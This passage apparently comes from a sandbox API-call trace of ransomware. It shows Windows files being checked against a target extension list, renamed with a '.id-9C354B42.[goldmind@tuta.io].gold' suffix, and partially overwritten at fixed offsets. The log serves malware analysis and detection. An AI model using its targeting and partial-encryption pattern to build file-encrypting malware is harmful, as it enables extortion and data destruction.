(lpString=".docx") returned 5 [0048.073] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0048.073] lstrlenW (lpString=".pdf") returned 4 [0048.073] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0048.073] lstrlenW (lpString=".xls") returned 4 [0048.073] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0048.073] lstrlenW (lpString=".xlsx") returned 5 [0048.074] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0048.074] lstrlenW (lpString=".ppt") returned 4 [0048.074] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0048.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0048.074] lstrlenW (lpString=".zip") returned 4 [0048.074] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0048.074] lstrlenW (lpString=".rar") returned 4 [0048.074] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0048.074] lstrlenW (lpString=".bz2") returned 4 [0048.074] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0048.074] lstrlenW (lpString=".7z") returned 3 [0048.074] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0048.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0048.074] lstrlenW (lpString=".dbf") returned 4 [0048.074] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0048.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0048.074] lstrlenW (lpString=".1cd") returned 4 [0048.074] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0048.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0048.074] lstrlenW (lpString=".jpg") returned 4 [0048.074] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0048.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0048.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0048.074] lstrlenW (lpString=".doc") returned 4 [0048.074] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0048.074] lstrlenW (lpString=".docx") returned 5 [0048.074] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0048.074] lstrlenW (lpString=".pdf") returned 4 [0048.074] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0048.074] lstrlenW (lpString=".xls") returned 4 [0048.074] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0048.074] lstrlenW (lpString=".xlsx") returned 5 [0048.074] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0048.074] lstrlenW (lpString=".ppt") returned 4 [0048.074] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0048.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0048.074] lstrlenW (lpString=".zip") returned 4 [0048.074] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0048.074] lstrlenW (lpString=".rar") returned 4 [0048.074] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0048.074] lstrlenW (lpString=".bz2") returned 4 [0048.074] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0048.074] lstrlenW (lpString=".7z") returned 3 [0048.074] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0048.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0048.075] lstrlenW (lpString=".dbf") returned 4 [0048.075] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0048.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0048.075] lstrlenW (lpString=".1cd") returned 4 [0048.075] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0048.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0048.075] lstrlenW (lpString=".jpg") returned 4 [0048.075] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0048.075] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0048.075] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0048.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0048.075] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1831424) returned 1 [0048.075] CloseHandle (hObject=0x18c) returned 1 [0048.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0048.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0049.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.589] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0049.589] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.589] ReadFile (in: hFile=0x18c, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.595] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.595] ReadFile (in: hFile=0x18c, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.598] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.599] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.599] ReadFile (in: hFile=0x18c, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.615] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.615] WriteFile (in: hFile=0x18c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0049.712] SetEndOfFile (hFile=0x18c) returned 1 [0049.712] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f540a0 [0049.715] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.715] WriteFile (in: hFile=0x18c, lpBuffer=0x3f540a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f540a0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.716] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.716] WriteFile (in: hFile=0x18c, lpBuffer=0x3f540a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f540a0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.717] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.718] WriteFile (in: hFile=0x18c, lpBuffer=0x3f540a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f540a0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.719] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f540a0 | out: hHeap=0x880000) returned 1 [0049.719] CloseHandle (hObject=0x18c) returned 1 [0049.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0049.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0049.719] lstrlenW (lpString=".doc") returned 4 [0049.719] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0049.719] lstrlenW (lpString=".docx") returned 5 [0049.719] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0049.719] lstrlenW (lpString=".pdf") returned 4 [0049.719] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0049.719] lstrlenW (lpString=".xls") returned 4 [0049.720] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0049.720] lstrlenW (lpString=".xlsx") returned 5 [0049.720] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0049.720] lstrlenW (lpString=".ppt") returned 4 [0049.720] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0049.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0049.720] lstrlenW (lpString=".zip") returned 4 [0049.720] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0049.720] lstrlenW (lpString=".rar") returned 4 [0049.720] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0049.720] lstrlenW (lpString=".bz2") returned 4 [0049.720] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0049.720] lstrlenW (lpString=".7z") returned 3 [0049.720] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0049.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0049.720] lstrlenW (lpString=".dbf") returned 4 [0049.720] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0049.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0049.720] lstrlenW (lpString=".1cd") returned 4 [0049.720] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0049.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0049.720] lstrlenW (lpString=".jpg") returned 4 [0049.720] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0049.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0049.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0049.720] lstrlenW (lpString=".doc") returned 4 [0049.720] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0049.720] lstrlenW (lpString=".docx") returned 5 [0049.720] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0049.720] lstrlenW (lpString=".pdf") returned 4 [0049.720] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0049.720] lstrlenW (lpString=".xls") returned 4 [0049.720] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0049.720] lstrlenW (lpString=".xlsx") returned 5 [0049.720] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0049.720] lstrlenW (lpString=".ppt") returned 4 [0049.720] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0049.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0049.720] lstrlenW (lpString=".zip") returned 4 [0049.720] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0049.720] lstrlenW (lpString=".rar") returned 4 [0049.720] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0049.720] lstrlenW (lpString=".bz2") returned 4 [0049.720] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0049.720] lstrlenW (lpString=".7z") returned 3 [0049.720] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0049.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0049.720] lstrlenW (lpString=".dbf") returned 4 [0049.720] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0049.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0049.720] lstrlenW (lpString=".1cd") returned 4 [0049.720] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0049.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0049.720] lstrlenW (lpString=".jpg") returned 4 [0049.720] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0049.721] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0049.721] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0049.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.822] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=4096) returned 1 [0049.822] CloseHandle (hObject=0x188) returned 1 [0049.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0049.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0049.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0049.822] lstrlenW (lpString=".doc") returned 4 [0049.822] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.822] lstrlenW (lpString=".docx") returned 5 [0049.822] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.822] lstrlenW (lpString=".pdf") returned 4 [0049.822] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.822] lstrlenW (lpString=".xls") returned 4 [0049.822] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.822] lstrlenW (lpString=".xlsx") returned 5 [0049.822] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.822] lstrlenW (lpString=".ppt") returned 4 [0049.822] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0049.822] lstrlenW (lpString=".zip") returned 4 [0049.822] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.822] lstrlenW (lpString=".rar") returned 4 [0049.822] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.822] lstrlenW (lpString=".bz2") returned 4 [0049.822] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.822] lstrlenW (lpString=".7z") returned 3 [0049.822] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0049.822] lstrlenW (lpString=".dbf") returned 4 [0049.822] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0049.823] lstrlenW (lpString=".1cd") returned 4 [0049.823] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0049.823] lstrlenW (lpString=".jpg") returned 4 [0049.823] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0049.823] lstrlenW (lpString=".doc") returned 4 [0049.823] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.823] lstrlenW (lpString=".docx") returned 5 [0049.823] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.823] lstrlenW (lpString=".pdf") returned 4 [0049.823] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.823] lstrlenW (lpString=".xls") returned 4 [0049.823] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.823] lstrlenW (lpString=".xlsx") returned 5 [0049.823] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.823] lstrlenW (lpString=".ppt") returned 4 [0049.823] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0049.823] lstrlenW (lpString=".zip") returned 4 [0049.823] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.823] lstrlenW (lpString=".rar") returned 4 [0049.823] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.823] lstrlenW (lpString=".bz2") returned 4 [0049.823] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.823] lstrlenW (lpString=".7z") returned 3 [0049.823] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0049.823] lstrlenW (lpString=".dbf") returned 4 [0049.823] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0049.823] lstrlenW (lpString=".1cd") returned 4 [0049.823] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned 72 [0049.823] lstrlenW (lpString=".jpg") returned 4 [0049.823] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.823] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0049.823] lstrlenW (lpString="mip.exe") returned 7 [0049.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.824] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1547264) returned 1 [0049.824] CloseHandle (hObject=0x188) returned 1 [0049.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0049.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe") returned 58 [0049.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe") returned 58 [0049.824] lstrlenW (lpString=".doc") returned 4 [0049.824] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.824] lstrlenW (lpString=".docx") returned 5 [0049.824] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0049.824] lstrlenW (lpString=".pdf") returned 4 [0049.824] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.824] lstrlenW (lpString=".xls") returned 4 [0049.824] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.824] lstrlenW (lpString=".xlsx") returned 5 [0049.824] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0049.824] lstrlenW (lpString=".ppt") returned 4 [0049.824] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe") returned 58 [0049.824] lstrlenW (lpString=".zip") returned 4 [0049.824] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.824] lstrlenW (lpString=".rar") returned 4 [0049.824] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.824] lstrlenW (lpString=".bz2") returned 4 [0049.824] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.824] lstrlenW (lpString=".7z") returned 3 [0049.824] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe") returned 58 [0049.824] lstrlenW (lpString=".dbf") returned 4 [0049.824] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe") returned 58 [0049.824] lstrlenW (lpString=".1cd") returned 4 [0049.824] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe") returned 58 [0049.824] lstrlenW (lpString=".jpg") returned 4 [0049.824] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe") returned 58 [0049.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe") returned 58 [0049.825] lstrlenW (lpString=".doc") returned 4 [0049.825] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0049.825] lstrlenW (lpString=".docx") returned 5 [0049.825] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0049.825] lstrlenW (lpString=".pdf") returned 4 [0049.825] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0049.825] lstrlenW (lpString=".xls") returned 4 [0049.825] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.825] lstrlenW (lpString=".xlsx") returned 5 [0049.825] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0049.825] lstrlenW (lpString=".ppt") returned 4 [0049.825] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe") returned 58 [0049.825] lstrlenW (lpString=".zip") returned 4 [0049.825] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.825] lstrlenW (lpString=".rar") returned 4 [0049.825] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.825] lstrlenW (lpString=".bz2") returned 4 [0049.825] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.825] lstrlenW (lpString=".7z") returned 3 [0049.825] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe") returned 58 [0049.825] lstrlenW (lpString=".dbf") returned 4 [0049.825] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe") returned 58 [0049.825] lstrlenW (lpString=".1cd") returned 4 [0049.825] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe") returned 58 [0049.825] lstrlenW (lpString=".jpg") returned 4 [0049.825] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.825] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0049.825] lstrlenW (lpString="mraut.dll") returned 9 [0049.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.826] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x302ff1c | out: 